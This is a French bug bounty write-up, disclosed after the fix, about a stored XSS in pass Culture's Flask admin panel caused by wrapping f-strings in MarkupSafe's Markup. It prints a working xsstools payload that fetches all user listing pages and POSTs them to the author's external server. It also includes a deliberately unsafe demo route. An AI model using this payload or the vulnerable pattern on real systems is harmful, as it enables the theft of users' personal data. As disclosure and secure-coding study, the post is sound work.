[FR] Stored XSS dans le panel d’administration en raison de mauvaise utilisation de MarkupSafe

Disclaimer : cette exploitation a été réalisée dans le cadre légal d’un Bug Bounty. La divulgation des informations contenues dans cet article est faite avec l’accord de pass Culture et intervient après un correctif mis en production.
Le programme de Bug Bounty n’est pas public et la participation n’est possible qu’après contractualisation avec YesWeHack et invitation par pass Culture.

pass Culture

I - Contexte

Pour le lancement de l’initiative gouvernementale permettant l’accès à la culture aux plus jeunes, le service public « pass Culture » a pu lancer un programme de Bug Bounty pour auditer son application.

Le service de pass Culture permet aux jeunes adultes de plus de 18 ans d’accéder à un catalogue d’offres de spectacles, de livres, d’instruments de musique et autres services numériques pour un budget total de 300€.

En recevant l’invitation, j’ai su que ce programme me motiverait : sécuriser l’application d’un service public permettant l’accès à la culture aux plus jeunes a du sens pour moi.

Techniquement, j’ai de la chance aussi :

Après une première lecture, trois types de privilèges sont disponibles sur cette application :

Après avoir appréhendé les mécaniques de cette application en tant que “jeune bénéficiaire”, je me confronte à de solides fonctionnalités liées à une longue et complête procédure de tests unitaires.

La sécurité des comptes bénéficiaires semblent solides : un jeune avec un compte bénéficiaire a très peu d’actions possibles :

Les professionnels souhaitant proposer des offres aux bénéficiaires peuvent créer un compte avec bien plus d’actions disponibles : créer leurs structures, leurs magasins, leurs offres…

Un dernier type de compte privilégié existe, le compte administrateur, qui permet de superviser les données des comptes et gérer les configurations de la plateforme. Un compte à cibler donc.

Le code source est clair et sans ambiguïté, les procédures de tests bien réalisés : le code semble solide mais au moins il est très agréable à lire.

II - La vulnérabilité

II.1 - Review de code

Lors de ma review de code, j’ai pu découvrir un mauvais usage d’une protection anti-XSS :

def _metabase_offer_link(view, context, model, name) -> Markup:
    url = _metabase_offer_url(model.id)
    text = "Offre"

    return Markup(f'<a href="{url}" target="_blank" rel="noopener noreferrer">{text}</a>')

Au sein du panel d’administration flask_admin de l’application, différentes fonctions formatters permettent de venir agrémenter les données en base de données avec une mise en forme.

La librairie MarkupSafe permet d’échapper les caractères HTML en sortie. Pour cela, elle s’utilise comme un printf string formatting en Python, on intègre les valeurs à injecter dans une string, puis on fournit les données injectées. Celles-ci devront s’interpréter tout en ayant correctement échappées le contenu HTML.

Malheureusement, dans le code source de pass Culture, on trouve un formatage f-strings à l’intérieur de l’utilisation de MarkupSafe. Ainsi, l’injection se fait avant l’utilisation de Markup.

Markup donne donne l’illusion de protection, mais aucune protection n’est mise en place.

Malgré cette découverte, aucune injection de payload depuis un compte n’est possible. En effet, bien que cette mauvaise pratique est généralisée à tous les fonctions de formatage personnalisées du panel d’administration, toutes ces injections n’utilisent pas d’entrée injectable à partir d’un utilisateur…

Attendons de voir comme évolue le code source avec cette pratique…

Tous les dimanches soirs, petit rituel : review de code source et lecture des derniers commits de pass Culture de la semaine !

Un script pour tracker l’évolution de cette ligne de commande aurait pu être réalisé, mais c’est toujours positif de se créer une routine de code review : cela permet d’avoir une bonne raison de découvrir de nouvelles fonctionnalités développées.

II.2 - Le commit attendu

Cette semaine, j’ai l’impression de tenir un truc.

En effet, désormais, le Markup contient désormais le nom du vendeur Offerer, cela semble être une donnée injectable par un utilisateur :

def _offerer_link(view, context, model, name) -> Markup:
    offerer_id = model.venue.managingOffererId
    url = f"{settings.PRO_URL}/accueil?structure={humanize(offerer_id)}"
    text = model.venue.managingOfferer.name

    return Markup(f'<a href="{url}" target="_blank" rel="noopener noreferrer">{text}</a>')

Inspectons comme injecter cette donnée:

Inspectons donc quelles peuvent être les critères de fraude :

Cependant, l’équipe de développement de pass Culture offre une option géniale pour tout hunter : une procédure de déploiement de l’application en local via docker-compose.
Quoi de plus généreux : n’importe qui peut déployer et avoir un contrôle sur l’ensemble de l’infrastructure facilement. De plus, pas besoin de connexion une fois le déploiement réalisé : parfait pour du Bug Bounty au milieu de la cambrousse ou dans le train.

Je déploie donc l’application localement et je crée une boutique avec une payload XSS classique : alert(1) et une nouvelle offre avec cette boutique.
L’offre est créée mais celle-ci n’apparaît dans la page vulnérable de validation manuelle : forcément, je n’ai pas défini de règles de suspicion de fraude.

fraud-rules

Bon, ça a l’air d’être des rêgles YAML avec aucune documentation.
On va plutôt modifier l’offre, localement, en base de données, pour la définir comme frauduleuse, nécessitant une validation manuelle :

pass_culture=# SELECT id,validation FROM offer WHERE id=125;
 id  |     name     | validation 
-----+--------------+------------
 100 | offre test 1 | DRAFT
(1 row)

pass_culture=# UPDATE offer SET validation = 'PENDING' WHERE id=125;
UPDATE 1
pass_culture=# SELECT id,validation FROM offer WHERE id=125;
 id  |     name     | validation 
-----+--------------+------------
 100 | offre test 1 | PENDING
(1 row)

Maintenant, ça pop !

xss-alert

II.3 - XSS Post-exploitation

Maintenant, forgeons une payload qui déchire : pour ça, j’utilise le framework de mon collègue @bitk : xsstools qui permet de forger des payloads JS de XSS facilement et rapidement (parfait pour ceux qui n’aiment pas les payloads JS natives à rallonge)

Avec ça, on a plus aucune raison de soumettre des XSS avec juste une alert :

Sur le panel admin, des pages permettent de récupérer les noms, prénoms, adresses email de tous les comptes :

users

On a aussi une commande pour désactiver les comptes à partir du nom de domaine des adresses emails des comptes. Mais nous n’allons pas tenter d’impacter l’intégrité de l’environnement de pré-production, nous allons nous limiter à des actions en read only.

suspend

Voilà ma payload créée : elle va permettre récupérer le contenu de ces pages et envoyer le résultat JSON en POST sur mon serveur privé. Une fois la payload déclenchée, les données seront stockés dans des fichiers sur mon serveur.

import {Exfiltrators, Payload, Wrapper, utils} from "./xsstools.min.js"

 const exfiltrator = Exfiltrators.postJSON("http://unsafe.aeth.cc/exfiltrate.php")

    const payload = Payload.new()
        .addExfiltrator(exfiltrator)
        .fetchText("/pc/back-office/beneficiary_users/?page_size=10000")
        .exfiltrate()
        .fetchText("/pc/back-office/pro_users/?page_size=10000")
        .exfiltrate()
        .fetchText("/pc/back-office/partner_users/?page_size=10000")
        .exfiltrate()
        .fetchText("/pc/back-office/admin_users/?page_size=10000")
        .exfiltrate()
        .fetchText("/pc/back-office/beneficiaryimport/?page_size=10000")
        .exfiltrate()

    console.log(payload.run())

J’héberge la payload JS obtenue sur mon serveur et je crée une boutique avec une payload intégrant le script :

leak

Ça fonctionne, je récupère les données en base64 sur mon serveur !

II.4 - Reproduction en condition de pré-production

Essayons en pré-production, ça permettra d’assurer que la XSS fonctionne bien dans les conditions de la production.
Je crée une offre bien suspecte, contenant la payload qui ne s’injectera pas là mais pour permettre à pass Culture de récupérer la payload utilisée :

offer2

Mon offre est en attente de validation, elle était donc suffisamment suspecte. J’envoie donc un mail à l’équipe pour leur demander d’accepter mon offre afin qu’ils déclenchent la payload.

Le lendemain, je reçois le mail de réponse de l’équipe.
Je vais voir sur mon serveur, ils ont déclenché la XSS, cependant :

06-04 08:42:48 pm_web-nginx_1 2021/06/04 08:42:48 [error] 7#7: *37 open() "/var/www/html/aeth.cc/unsafe/83527389922.js'" failed (2: No such file or directory), client: ***.***.***.***, server: ~^(?<sub>.*)\.aeth\.cc, request: "GET /83527389922.js' HTTP/1.1", host: "unsafe.aeth.cc"
06-04 08:42:48 pm_web-nginx_1 04/Jun/2021:08:42:48 +0000 | unsafe.aeth.cc ***.***.***.*** "GET /83527389922.js' HTTP/1.1" 404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"

Erreur de débutant, je n’ai pas testé ma payload sur tous les navigateurs, notamment Chrome. Elle s’est bien déclenchée mais a échoué à exfiltrer les données…
Pas de récupération de données donc, mais la XSS s’est correctement déclenchée dans l’environnement de pré-production, je peux faire mon rapport !

III - Impacts

CVSS proposé et accepté : CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H soit 9.9 (Critical)

IV - Remediation

Comme correctif, j’ai proposé un petit script pour mettre en évidence cette vulnérabilité et démontrer un correctif possible :

from flask import Flask, request
from markupsafe import Markup

app = Flask(__name__)

# /unsafe?input=<script>alert(1)</script>
@app.route('/unsafe')
def unsafe():
    url = "https://example.com"
    # text = model.venue.managingOfferer.name
    text = request.args.get("input")

    return Markup(f'<a href="{url}" target="_blank" rel="noopener noreferrer">{text}</a>')

# /safe?input=<script>alert(1)</script>
@app.route('/safe')
def safe():
    url = "https://example.com"
    # text = model.venue.managingOfferer.name
    text = request.args.get("input")

    return Markup('<a href="%s" target="_blank" rel="noopener noreferrer">%s</a>') % (url, text)

Les équipes de pass Culture furent réactives et déployèrent un fix dès le lendemain.

V - Timeline

VI - Conclusion

Une des principales qualités nécessaires pour faire du Bug Bounty sans finir fou est la patience.
Cela se confirme. Si j’avais soumis cette issue plus tôt, elle aurait pu finir fermée sans récompense ou être qualifiée en Low.

En attendant que la vulnérabilité se crée d’elle-même, j’ai assuré une vulnérabilité critique qui a pu mettre en évidence un fort impact sur l’application.

Soyons donc patients et pensons impacts avant les récompenses à court terme.